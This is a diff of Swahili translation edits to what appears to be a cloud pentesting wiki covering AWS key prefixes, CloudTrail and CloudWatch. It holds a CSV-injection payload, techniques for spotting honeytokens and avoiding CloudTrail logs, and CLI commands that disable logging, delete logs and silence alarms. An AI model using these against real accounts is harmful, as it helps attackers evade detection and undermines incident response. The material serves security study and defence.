| ABIA | [Token ya mtoa huduma wa AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [Token ya mtoa huduma ya AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Akiba maalum ya muktadha |
|
||||
| ACCA | Kitambulisho maalum cha muktadha |
|
||||
| AGPA | Kundi la mtumiaji |
|
||||
| AIDA | Mtumiaji wa IAM |
|
||||
| AIPA | Profaili ya mfano wa Amazon EC2 |
|
||||
| AKIA | Funguo ya ufikiaji |
|
||||
| AKIA | Funguo za ufikiaji |
|
||||
| ANPA | Sera iliyosimamiwa |
|
||||
| ANVA | Toleo katika sera iliyosimamiwa |
|
||||
| APKA | Funguo ya umma |
|
||||
| APKA | Funguo za umma |
|
||||
| AROA | Jukumu |
|
||||
| ASCA | Cheti |
|
||||
| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia viambatisho hivi, lakini ni maalum tu kwa mchanganyiko na funguo ya siri ya ufikiaji na tokeni ya kikao. |
|
||||
| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa pamoja na funguo za siri za ufikiaji na tokeni ya kikao. |
|
||||
|
||||
### Ruhusa zinazopendekezwa kukagua akaunti
|
||||
|
||||
@@ -328,11 +328,11 @@ Ruhusa zifuatazo zinatoa ufikiaji wa kusoma wa metadata:
|
||||
|
||||
## Mambo Mengine
|
||||
|
||||
### Uthibitishaji wa CLI
|
||||
### Uthibitisho wa CLI
|
||||
|
||||
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **akiba za ndani**. Kwa kawaida unaweza kuziunda **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
|
||||
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **vithibitisho vya ndani**. Kwa kawaida unaweza kuviweka **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
|
||||
Katika faili hiyo unaweza kuwa na zaidi ya profaili moja, ikiwa **hakuna profaili** iliyotajwa kwa kutumia **aws cli**, ile inayoitwa **`[default]`** katika faili hiyo itatumika.\
|
||||
Mfano wa faili ya akiba yenye zaidi ya profaili 1:
|
||||
Mfano wa faili ya vithibitisho yenye zaidi ya profaili 1:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -343,7 +343,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ruhusa ya **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) na kuunda akidi.
|
||||
Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ufikiaji wa **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) na kuunda akidi.
|
||||
|
||||
Unaweza kutumia faili ya `~/.aws/config` [**kuonyesha ni majukumu gani ya kuchukua**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), na kisha tumia param ya `--profile` kama kawaida (kuchukua jukumu kutafanywa kwa njia ya uwazi kwa mtumiaji).\
|
||||
Mfano wa faili ya usanidi:
|
||||
|
||||
+18
-18
@@ -14,17 +14,17 @@ Kila tukio lililosajiliwa lina:
|
||||
- Anuani ya IP: `SourceIPAddress`
|
||||
- Njia ya wakala: `userAgent`. Mifano:
|
||||
- Signing.amazonaws.com - Kutoka AWS Management Console
|
||||
- console.amazonaws.com - Mtumiaji wa msingi wa akaunti
|
||||
- console.amazonaws.com - Mtumiaji wa mzizi wa akaunti
|
||||
- lambda.amazonaws.com - AWS Lambda
|
||||
- Parameta za ombi: `requestParameters`
|
||||
- Vipengele vya majibu: `responseElements`
|
||||
|
||||
Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **karibu kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 karibu dakika 15 baada**.\
|
||||
Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **takriban kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 takriban dakika 15 baada**.\
|
||||
Kumbukumbu za CloudTrail zinaweza **kuunganishwa kati ya akaunti na kati ya mikoa.**\
|
||||
CloudTrail inaruhusu kutumia **uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika** tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya digest. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.\
|
||||
Unapounda Trail, wachaguaji wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa.
|
||||
|
||||
Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Upande wa Server unatumika (SSE-S3) hivyo AWS itachambua maudhui kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
|
||||
Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Upande wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.
|
||||
|
||||
Kumbukumbu zinahifadhiwa katika **bakuli la S3 lenye muundo huu wa jina**:
|
||||
|
||||
@@ -42,11 +42,11 @@ Zaidi ya hayo, **faili za digest (kuangalia uaminifu wa faili)** zitakuwa ndani
|
||||
|
||||
.png>)
|
||||
|
||||
### Kuunganisha Kumbukumbu kutoka Akaunti Nyingi
|
||||
### Kuunganisha Kumbukumbu kutoka Akaunti Mbalimbali
|
||||
|
||||
- Unda Trail katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe
|
||||
- Weka ruhusa kwa bakuli la S3 la marudio linaloruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji
|
||||
- Unda Trail mpya katika akaunti nyingine za AWS na chagua kutumia bakuli iliyoundwa katika hatua ya 1
|
||||
- Unda Trail mpya katika akaunti nyingine za AWS na uchague kutumia bakuli iliyoundwa katika hatua ya 1
|
||||
|
||||
Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3, huwezi kuunganisha kumbukumbu za CloudTrail kutoka akaunti nyingi katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS.
|
||||
|
||||
@@ -55,11 +55,11 @@ Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3
|
||||
|
||||
### Cloudtrail kutoka akaunti zote za org katika 1
|
||||
|
||||
Unapounda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli 1 tu:
|
||||
Unapounda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli moja tu:
|
||||
|
||||
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika mikoa yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kuilinda).
|
||||
Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika mikoa yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kulinda).
|
||||
|
||||
### Kuangalia Faili za Kumbukumbu
|
||||
|
||||
@@ -124,8 +124,8 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
|
||||
```
|
||||
### **CSV Injection**
|
||||
|
||||
Inawezekana kufanya CVS injection ndani ya CloudTrail ambayo itatekeleza msimbo wowote ikiwa logi zitasafirishwa kwa CSV na kufunguliwa na Excel.\
|
||||
Msimbo ufuatao utaunda kipengee cha logi chenye jina mbaya la Trail kinachoshikilia payload:
|
||||
Inawezekana kufanya CVS injection ndani ya CloudTrail ambayo itatekeleza msimbo wowote ikiwa kumbukumbu zinasafirishwa kwa CSV na kufunguliwa na Excel.\
|
||||
Msimbo ufuatao utaunda kipengee cha kumbukumbu chenye jina mbaya la Trail kinachoshikilia payload:
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
@@ -150,9 +150,9 @@ Kwa maelezo zaidi kuhusu mbinu hii maalum angalia [https://rhinosecuritylabs.com
|
||||
|
||||
Honeytokens zinaundwa ili **gundua uhamishaji wa taarifa nyeti**. Katika kesi ya AWS, ni **funguo za AWS ambazo matumizi yake yanakaguliwa**, ikiwa kitu kinachochea kitendo na funguo hiyo, basi mtu lazima awe amepora funguo hiyo.
|
||||
|
||||
Hata hivyo, Honeytokens kama zile zinazoundwa na [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Hivyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail iunde logi yoyote, **unaweza kujua kama funguo ni honeytoken au la**.
|
||||
Hata hivyo, Honeytokens kama zile zinazoundwa na [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Hivyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail iunde log yoyote, **unaweza kujua kama funguo ni honeytoken au la**.
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ina sheria kadhaa za kugundua ikiwa funguo inamhusu [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ina sheria kadhaa za kugundua kama funguo inamhusu [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
- Ikiwa **`canarytokens.org`** inaonekana katika jina la jukumu au ID ya akaunti **`534261010715`** inaonekana katika ujumbe wa kosa.
|
||||
- Kuziangalia hivi karibuni, wanatumia akaunti **`717712589309`** na bado ina **`canarytokens.com`** katika jina.
|
||||
@@ -185,7 +185,7 @@ Tazama maelezo zaidi katika [**utafiti wa asili**](https://medium.com/@TalBeeryS
|
||||
|
||||
#### Usizalishe logi
|
||||
|
||||
Tekniki bora zaidi kwa hili ni rahisi. Tumia tu funguo uliyopata kuingia kwenye huduma ndani ya akaunti yako ya washambuliaji. Hii itafanya **CloudTrail izalishe logi ndani ya AKAUNTI YAKO YA AWS na si ndani ya wahanga**.
|
||||
Tekniki yenye ufanisi zaidi kwa hili ni rahisi. Tumia tu funguo uliyopata kuingia kwenye huduma ndani ya akaunti yako ya washambuliaji. Hii itafanya **CloudTrail izalishe logi ndani ya AKAUNTI YAKO YA AWS na si ndani ya waathirika**.
|
||||
|
||||
Jambo ni kwamba matokeo yataonyesha kosa linaloashiria ID ya akaunti na jina la akaunti hivyo **utaweza kuona kama ni Honeytoken**.
|
||||
|
||||
@@ -198,7 +198,7 @@ Kwa njia hii, **mshambuliaji anaweza kupata ARN ya funguo bila kuanzisha logi yo
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo huenda unahitaji kutafuta zako mwenyewe...
|
||||
> Kumbuka kwamba APIs zote za umma zilizogunduliwa kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo labda unahitaji kutafuta zako mwenyewe...
|
||||
>
|
||||
> Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
|
||||
|
||||
@@ -206,7 +206,7 @@ Kwa njia hii, **mshambuliaji anaweza kupata ARN ya funguo bila kuanzisha logi yo
|
||||
|
||||
Huduma fulani za AWS zita **unda miundombinu fulani** kama vile **Maktaba** au **vikundi vya Kubernetes** (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia API ya AWS**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.
|
||||
|
||||
Kwa hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**.
|
||||
Hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**.
|
||||
|
||||
Maelezo zaidi katika:
|
||||
|
||||
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
|
||||
# Remove all selectors (stop Insights)
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
||||
```
|
||||
Katika mfano wa kwanza, mteule wa tukio moja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo CloudTrail insights **hazitakuwa zikichunguza** matukio ya kuandika kwa mfano).
|
||||
Katika mfano wa kwanza, mteule wa tukio moja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo maarifa ya CloudTrail **hayataangalia** matukio ya kuandika kwa mfano).
|
||||
|
||||
Unaweza kubinafsisha mteule wa tukio kulingana na mahitaji yako maalum.
|
||||
|
||||
@@ -249,13 +249,13 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
|
||||
- Futa bucket ya S3
|
||||
- Badilisha sera ya bucket kukataa maandiko yoyote kutoka kwa huduma ya CloudTrail
|
||||
- Ongeza sera ya maisha kwa bucket ya S3 kufuta vitu
|
||||
- Zima funguo ya kms inayotumika kuandika logi za CloudTrail
|
||||
- Zima funguo ya kms inayotumika kuandika kumbukumbu za CloudTrail
|
||||
|
||||
### Cloudtrail ransomware
|
||||
|
||||
#### S3 ransomware
|
||||
|
||||
Unaweza **kuunda funguo isiyo ya kawaida** na kufanya **CloudTrail kuandika data** kwa kutumia funguo hiyo na **kufuta funguo ya faragha** ili maudhui ya CloudTrail hayawezi kurejeshwa.\
|
||||
Unaweza **kuunda funguo isiyo ya kawaida** na kufanya **CloudTrail kuandika data** kwa funguo hiyo na **kufuta funguo ya faragha** ili maudhui ya CloudTrail hayawezi kurejeshwa.\
|
||||
Hii ni kimsingi **S3-KMS ransomware** iliyoelezwa katika:
|
||||
|
||||
{{#ref}}
|
||||
@@ -270,7 +270,7 @@ Hii ni njia rahisi zaidi ya kutekeleza shambulio la awali na mahitaji tofauti ya
|
||||
../../aws-post-exploitation/aws-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## **Marejeleo**
|
||||
## **Marejeo**
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
|
||||
|
||||
|
||||
+23
-23
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudWatch
|
||||
|
||||
**CloudWatch** **inakusanya** ufuatiliaji na operesheni **data** katika mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\
|
||||
**CloudWatch** **inakusanya** ufuatiliaji na **data** za operesheni katika mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\
|
||||
CloudWatch Log Event ina **kikomo cha ukubwa wa 256KB kwa kila mstari wa log**.\
|
||||
Inaweza kuweka **alarms za azimio la juu**, kuonyesha **logs** na **metrics** kwa pamoja, kuchukua hatua za kiotomatiki, kutatua matatizo, na kugundua maarifa ili kuboresha programu.
|
||||
|
||||
@@ -39,7 +39,7 @@ Dimensions ni jozi za funguo-thamani ambazo ni sehemu ya metrics. Zinasaidia kut
|
||||
|
||||
### Statistics
|
||||
|
||||
Statistics ni hesabu za kimaadili zinazofanywa kwenye data ya metric ili kuifupisha kwa muda. Takwimu za kawaida ni pamoja na Average, Sum, Minimum, Maximum, na SampleCount.
|
||||
Statistics ni hesabu za kihesabu zinazofanywa kwenye data ya metric ili kuifupisha kwa muda. Takwimu za kawaida ni pamoja na Average, Sum, Minimum, Maximum, na SampleCount.
|
||||
|
||||
- **Mfano**: Kuandika wastani wa matumizi ya CPU kwa kipindi cha saa moja.
|
||||
|
||||
@@ -66,14 +66,14 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n
|
||||
|
||||
### Metric Stream and Metric Data
|
||||
|
||||
**Metric Streams** katika AWS CloudWatch zinakuwezesha kuendelea kutiririsha metrics za CloudWatch kwa mahali unayochagua kwa karibu wakati halisi. Hii ni muhimu hasa kwa ufuatiliaji wa hali ya juu, uchambuzi, na dashboards za kawaida kutumia zana za nje ya AWS.
|
||||
**Metric Streams** katika AWS CloudWatch zinakuwezesha kuendelea kusambaza metrics za CloudWatch kwa mahali unalopendelea kwa karibu wakati halisi. Hii ni muhimu hasa kwa ufuatiliaji wa hali ya juu, uchambuzi, na dashboards za kawaida kutumia zana za nje ya AWS.
|
||||
|
||||
**Metric Data** ndani ya Metric Streams inahusu vipimo halisi au data points zinazotiririshwa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, nk, kwa rasilimali za AWS.
|
||||
**Metric Data** ndani ya Metric Streams inahusu vipimo halisi au data points zinazokusanywa. Data hizi zinaakisi metrics mbalimbali kama matumizi ya CPU, matumizi ya kumbukumbu, nk, kwa rasilimali za AWS.
|
||||
|
||||
**Mfano wa Matumizi**:
|
||||
|
||||
- Kutuma metrics za wakati halisi kwa huduma ya ufuatiliaji ya wahusika wengine kwa uchambuzi wa hali ya juu.
|
||||
- Kuhifadhi metrics katika Amazon S3 bucket kwa uhifadhi wa muda mrefu na kufuata sheria.
|
||||
- Kuhifadhi metrics katika bakuli la Amazon S3 kwa ajili ya uhifadhi wa muda mrefu na kufuata sheria.
|
||||
|
||||
### Alarm
|
||||
|
||||
@@ -83,7 +83,7 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n
|
||||
|
||||
- **Threshold**: Thamani ambayo alarm inasababisha.
|
||||
- **Evaluation Periods**: Idadi ya vipindi ambavyo data inakaguliwa.
|
||||
- **Datapoints to Alarm**: Idadi ya vipindi ambapo kigezo kimefikiwa kinahitajika kuanzisha alarm
|
||||
- **Datapoints to Alarm**: Idadi ya vipindi vilivyofikia kigezo kinachohitajika ili kuanzisha alarm
|
||||
- **Actions**: Nini kinatokea wakati hali ya alarm inasababisha (kwa mfano, arifu kupitia SNS).
|
||||
|
||||
**Mfano wa Matumizi**:
|
||||
@@ -105,13 +105,13 @@ Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha n
|
||||
|
||||
### Insight Rules and Managed Insight Rules
|
||||
|
||||
**Insight Rules** zinakuwezesha kubaini mwelekeo, kugundua spikes, au mifumo mingine ya kupendeza katika data yako ya metric kwa kutumia **mifumo ya kimaadili yenye nguvu** kufafanua hali ambazo hatua zinapaswa kuchukuliwa. Kanuni hizi zinaweza kusaidia kubaini anomalies au tabia zisizo za kawaida katika utendaji na matumizi ya rasilimali zako.
|
||||
**Insight Rules** zinakuwezesha kubaini mwenendo, kugundua spikes, au mifumo mingine ya kupendeza katika data yako ya metric kwa kutumia **mifumo ya kihesabu yenye nguvu** kufafanua masharti ambayo hatua zinapaswa kuchukuliwa. Kanuni hizi zinaweza kusaidia kubaini anomalies au tabia zisizo za kawaida katika utendaji na matumizi ya rasilimali zako.
|
||||
|
||||
**Managed Insight Rules** ni **kanuni za uelewa zilizowekwa awali zinazotolewa na AWS**. Zimeundwa kufuatilia huduma maalum za AWS au matumizi ya kawaida na zinaweza kuwezeshwa bila kuhitaji usanidi wa kina.
|
||||
|
||||
**Mfano wa Matumizi**:
|
||||
|
||||
- Kufuatilia Utendaji wa RDS: Wezesha kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua za kupunguza kiotomatiki.
|
||||
- Kufuatilia Utendaji wa RDS: Wezesha kanuni ya uelewa iliyosimamiwa kwa Amazon RDS inayofuatilia viashiria muhimu vya utendaji kama matumizi ya CPU, matumizi ya kumbukumbu, na disk I/O. Ikiwa yoyote ya metrics hizi itazidi vigezo salama vya operesheni, kanuni inaweza kuanzisha arifa au hatua ya kupunguza kiotomatiki.
|
||||
|
||||
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
|
||||
|
||||
@@ -137,7 +137,7 @@ Unaweza kusakinisha agents ndani ya mashine zako/containers ili kutuma logs kiot
|
||||
- **Pakua** na **sakinisha** **agent** kwenye EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Unaweza kuipakua kutoka ndani ya EC2 au kuisakinisha kiotomatiki kwa kutumia AWS System Manager ukichagua pakiti AWS-ConfigureAWSPackage
|
||||
- **Sanidi** na **anzisha** CloudWatch Agent
|
||||
|
||||
Kikundi cha log kina streams nyingi. Stream ina matukio mengi. Na ndani ya kila stream, matukio yanahakikishwa kuwa katika mpangilio.
|
||||
Kikundi cha log kina streams nyingi. Stream ina matukio mengi. Na ndani ya kila stream, matukio yana hakikisho la kuwa katika mpangilio.
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
@@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
Mfano ufuatao unaonyesha jinsi ya kufanya alama ya kipimo isifanye kazi:
|
||||
|
||||
- Alama hii ya kipimo inafuatilia matumizi ya wastani ya CPU ya mfano maalum wa EC2, inakadiria kipimo kila sekunde 300 na inahitaji vipindi 6 vya tathmini (jumla ya dakika 30). Ikiwa matumizi ya wastani ya CPU yanapita 60% kwa angalau 4 ya vipindi hivi, alama itasababisha na kutuma arifa kwa mada ya SNS iliyoainishwa.
|
||||
- Kwa kubadilisha Kiwango kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatoshana na siku 1), na Datapoints kwa Alama kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa zaidi ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alama.
|
||||
- Kwa kubadilisha Kigezo kuwa zaidi ya 99%, kuweka Kipindi kuwa sekunde 10, Vipindi vya Tathmini kuwa 8640 (kwa sababu vipindi 8640 vya sekunde 10 vinatoshana na siku 1), na Datapoints kwa Alarm kuwa 8640 pia, itahitajika kwa matumizi ya CPU kuwa zaidi ya 99% kila sekunde 10 katika kipindi chote cha masaa 24 ili kusababisha alama.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Alarm" }}
|
||||
@@ -283,26 +283,26 @@ Mfano ufuatao unaonyesha jinsi ya kufanya alama ya kipimo isifanye kazi:
|
||||
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
|
||||
|
||||
Kwa kufuta hatua za alarm, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki yasijitokeze wakati hali ya alarm inafikiwa, kama vile kuwajulisha wasimamizi au kuanzisha shughuli za kujiendesha. Kuwezesha au kurejesha hatua za alarm kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kurejesha hatua zilizokuwa zimezuiliwa awali au kwa kubadilisha ni hatua zipi zinazotolewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya matukio.
|
||||
Kwa kufuta hatua za alarm, mshambuliaji anaweza kuzuia arifa muhimu na majibu ya kiotomatiki yasitokee wakati hali ya alarm inafikiwa, kama vile kuarifu wasimamizi au kuanzisha shughuli za auto-scaling. Kuwezesha au kurejesha hatua za alarm kwa njia isiyo sahihi kunaweza pia kusababisha tabia zisizotarajiwa, ama kwa kurejesha hatua zilizokuwa zimezuiliwa awali au kwa kubadilisha ni hatua zipi zinazochochewa, na hivyo kusababisha mkanganyiko na upotoshaji katika majibu ya tukio.
|
||||
|
||||
Zaidi ya hayo, mshambuliaji mwenye ruhusa anaweza kubadilisha hali za alarm, akiwa na uwezo wa kuunda alama za uongo ili kuwachanganya wasimamizi, au kuzima alama halisi ili kuficha shughuli mbaya zinazendelea au kushindwa kwa mifumo muhimu.
|
||||
|
||||
- Ikiwa unatumia **`SetAlarmState`** kwenye alarm ya pamoja, alarm ya pamoja haihakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa utaweza kuboresha usanidi wake.
|
||||
- Ikiwa unatumia **`SetAlarmState`** kwenye alarm ya pamoja, alarm ya pamoja haikuhakikishiwi kurudi kwenye hali yake halisi. Inarudi kwenye hali yake halisi tu mara yoyote mojawapo ya alama zake za watoto zinapobadilisha hali. Pia inarejelewa ikiwa utaongeza mabadiliko kwenye usanidi wake.
|
||||
```bash
|
||||
aws cloudwatch disable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch enable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kutokugundulika, arifa za uongo, kuzuiya arifa halisi na uwezekano wa kukosa kugundua matukio halisi.
|
||||
**Madhara Yanayoweza Kutokea**: Ukosefu wa arifa za matukio muhimu, masuala yanayoweza kukosa kugunduliwa, arifa za uongo, kuzuiya arifa halisi na huenda kukosa kugundua matukio halisi.
|
||||
|
||||
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
|
||||
|
||||
Mshambuliaji angeweza kuathiri uwezo wa kugundua na kujibu mifumo isiyo ya kawaida au anomalies katika data ya metriki. Kwa kufuta waandishi wa anomalies waliopo, mshambuliaji angeweza kuzima mitambo muhimu ya arifa; na kwa kuunda au kubadilisha, ingeweza ama kuharibu usanidi au kuunda positives za uongo ili kuhamasisha au kuzidi ufuatiliaji.
|
||||
Mshambuliaji angeweza kuathiri uwezo wa kugundua na kujibu mifumo isiyo ya kawaida au anomalies katika data ya metriki. Kwa kufuta waandishi wa anomalies waliopo, mshambuliaji angeweza kuzima mifumo muhimu ya arifa; na kwa kuunda au kubadilisha, ingeweza ama kuharibu usanidi au kuunda positives za uongo ili kuhamasisha au kuzidi ufuatiliaji.
|
||||
```bash
|
||||
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
|
||||
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
|
||||
```
|
||||
Mfano ufuatao unaonyesha jinsi ya kufanya kipimo cha kugundua anomali kisifanye kazi. Kipimo hiki cha kugundua anomali kinachunguza matumizi ya wastani ya CPU ya mfano maalum wa EC2, na kwa kuongeza tu parameter ya “ExcludedTimeRanges” pamoja na kipindi kinachotakiwa, itakuwa ya kutosha kuhakikisha kwamba kipimo cha kugundua anomali hakichambui au kutoa tahadhari juu ya data yoyote muhimu wakati huo.
|
||||
